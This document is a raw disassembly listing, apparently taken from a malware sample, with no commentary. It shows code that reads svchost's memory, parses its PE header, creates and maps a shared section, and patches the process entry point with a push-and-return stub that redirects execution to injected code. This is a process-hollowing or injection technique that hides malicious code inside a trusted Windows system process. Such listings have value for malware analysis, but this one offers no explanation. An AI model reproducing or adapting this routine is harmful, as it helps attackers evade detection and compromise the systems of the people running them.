text:004121A4 6A 40
push
40h
.text:004121A6 68 00 30 00 00
push
3000h
.text:004121AB 68 00 00 50 00
push
500000h
.text:004121B0 6A 00
push
0
.text:004121B2 FF 15 18 10 40+
call
VirtualAlloc
.text:004121B8 89 85 74 FF FF+
mov
[
ebp
+svhost_PE],
eax
.text:004121BE 8D 85 4C FF FF+
lea
eax
, [
ebp
+ReadrealLenth]
.text:004121C4 50
push
eax
.text:004121C5 68 00 10 00 00
push
1000h
.text:004121CA 8B 8D 74 FF FF+
mov
ecx
, [
ebp
+svhost_PE]
.text:004121D0 51
push
ecx
.text:004121D1 8B 95 68 FF FF+
mov
edx
, [
ebp
+svchost_ImageBaseAddress]
.text:004121D7 52
push
edx
.text:004121D8 8B 85 40 FF FF+
mov
eax
, [
ebp
+svchost_hProcess]
.text:004121DE 50
push
eax
.text:004121DF FF 95 2C FE FF+
call
[
ebp
+ZwReadVirtualMemory]
.text:004121E5 89 85 3C FF FF+
mov
[
ebp
+NTqInfoRE],
eax
.text:004121EB 8B 8D 74 FF FF+
mov
ecx
, [
ebp
+svhost_PE]
.text:004121F1 8B 95 74 FF FF+
mov
edx
, [
ebp
+svhost_PE]
.text:004121F7 03 51 3C
add
edx
, [
ecx
+3Ch]
.text:004121FA 89 95 6C FF FF+
mov
[
ebp
+svhost_NT],
edx
.text:00412200 8B 85 6C FF FF+
mov
eax
, [
ebp
+svhost_NT]
.text:00412206 8B 48 50
mov
ecx
, [
eax
+50h]
.text:00412209 89 4D D0
mov
[
ebp
+svhost_SizeOfImage],
ecx
.text:0041220C 8B 95 6C FF FF+
mov
edx
, [
ebp
+svhost_NT]
.text:00412212 8B 42 28
mov
eax
, [
edx
+28h]
.text:00412215 89 85 28 FE FF+
mov
[
ebp
+svhost_addressOfEntyPoint],
eax
.text:0041221B 8D 8D 4C FF FF+
lea
ecx
, [
ebp
+ReadrealLenth]
.text:00412221 51
push
ecx
.text:00412222 8B 55 D0
mov
edx
, [
ebp
+svhost_SizeOfImage]
.text:00412225 52
push
edx
.text:00412226 8B 85 74 FF FF+
mov
eax
, [
ebp
+svhost_PE]
.text:0041222C 50
push
eax
.text:0041222D 8B 8D 68 FF FF+
mov
ecx
, [
ebp
+svchost_ImageBaseAddress]
.text:00412233 51
push
ecx
.text:00412234 8B 95 40 FF FF+
mov
edx
, [
ebp
+svchost_hProcess]
.text:0041223A 52
push
edx
.text:0041223B FF 95 2C FE FF+
call
[
ebp
+ZwReadVirtualMemory]
.text:00412241 89 85 3C FF FF+
mov
[
ebp
+NTqInfoRE],
eax
.text:00412247 C7 85 60 FF FF+
mov
[
ebp
+secondSection], 0
.text:00412251 8B 45 D0
mov
eax
, [
ebp
+svhost_SizeOfImage]
.text:00412254 89 85 08 FE FF+
mov
[
ebp
+FirstSum],
eax
.text:0041225A C7 85 0C FE FF+
mov
[
ebp
+var_1F4], 0
.text:00412264 6A 00
push
0
.text:00412266 68 00 00 00 08
push
8000000h
.text:0041226B 6A 40
push
40h
.text:0041226D 8D 8D 08 FE FF+
lea
ecx
, [
ebp
+FirstSum]
.text:00412273 51
push
ecx
.text:00412274 6A 00
push
0
.text:00412276 68 1F 00 0F 00
push
0F001Fh
.text:0041227B 8D 95 60 FF FF+
lea
edx
, [
ebp
+secondSection]
.text:00412281 52
push
edx
.text:00412282 FF 95 5C FF FF+
call
[
ebp
+NtCreateSection]
.text:00412288 89 85 3C FF FF+
mov
[
ebp
+NTqInfoRE],
eax
.text:0041228E 8B 45 D0
mov
eax
, [
ebp
+svhost_SizeOfImage]
.text:00412291 89 85 24 FE FF+
mov
[
ebp
+ViewSize],
eax
.text:00412297 C7 85 70 FF FF+
mov
[
ebp
+mapAddress], 0
.text:004122A1 6A 40
push
40h
.text:004122A3 6A 00
push
0
.text:004122A5 6A 01
push
1
.text:004122A7 8D 8D 24 FE FF+
lea
ecx
, [
ebp
+ViewSize]
.text:004122AD 51
push
ecx
.text:004122AE 6A 00
push
0
.text:004122B0 6A 00
push
0
.text:004122B2 6A 00
push
0
.text:004122B4 8D 95 70 FF FF+
lea
edx
, [
ebp
+mapAddress]
.text:004122BA 52
push
edx
.text:004122BB 6A FF
push
0FFFFFFFFh
.text:004122BD 8B 85 60 FF FF+
mov
eax
, [
ebp
+secondSection]
.text:004122C3 50
push
eax
.text:004122C4 FF 95 48 FF FF+
call
[
ebp
+ZwMapViewOfSection]
.text:004122CA 89 85 3C FF FF+
mov
[
ebp
+NTqInfoRE],
eax
.text:004122D0 8B 8D 74 FF FF+
mov
ecx
, [
ebp
+svhost_PE]
.text:004122D6 03 8D 28 FE FF+
add
ecx
, [
ebp
+svhost_addressOfEntyPoint]
.text:004122DC C6 01 90
mov
byte
ptr
[
ecx
], 90h
.text:004122DF 8B 95 74 FF FF+
mov
edx
, [
ebp
+svhost_PE]
.text:004122E5 03 95 28 FE FF+
add
edx
, [
ebp
+svhost_addressOfEntyPoint]
.text:004122EB C6 42 01 68
mov
byte
ptr
[
edx
+1], 68h
.text:004122EF 8B 85 74 FF FF+
mov
eax
, [
ebp
+svhost_PE]
.text:004122F5 03 85 28 FE FF+
add
eax
, [
ebp
+svhost_addressOfEntyPoint]
.text:004122FB 8B 4D D8
mov
ecx
, [
ebp
+firstMemAddress]
.text:004122FE 89 48 02
mov
[
eax
+2],
ecx
.text:00412301 8B 95 74 FF FF+
mov
edx
, [
ebp
+svhost_PE]
.text:00412307 03 95 28 FE FF+
add
edx
, [
ebp
+svhost_addressOfEntyPoint]
.text:0041230D C6 42 06 C3
mov
byte
ptr
[
edx
+6], 0C3h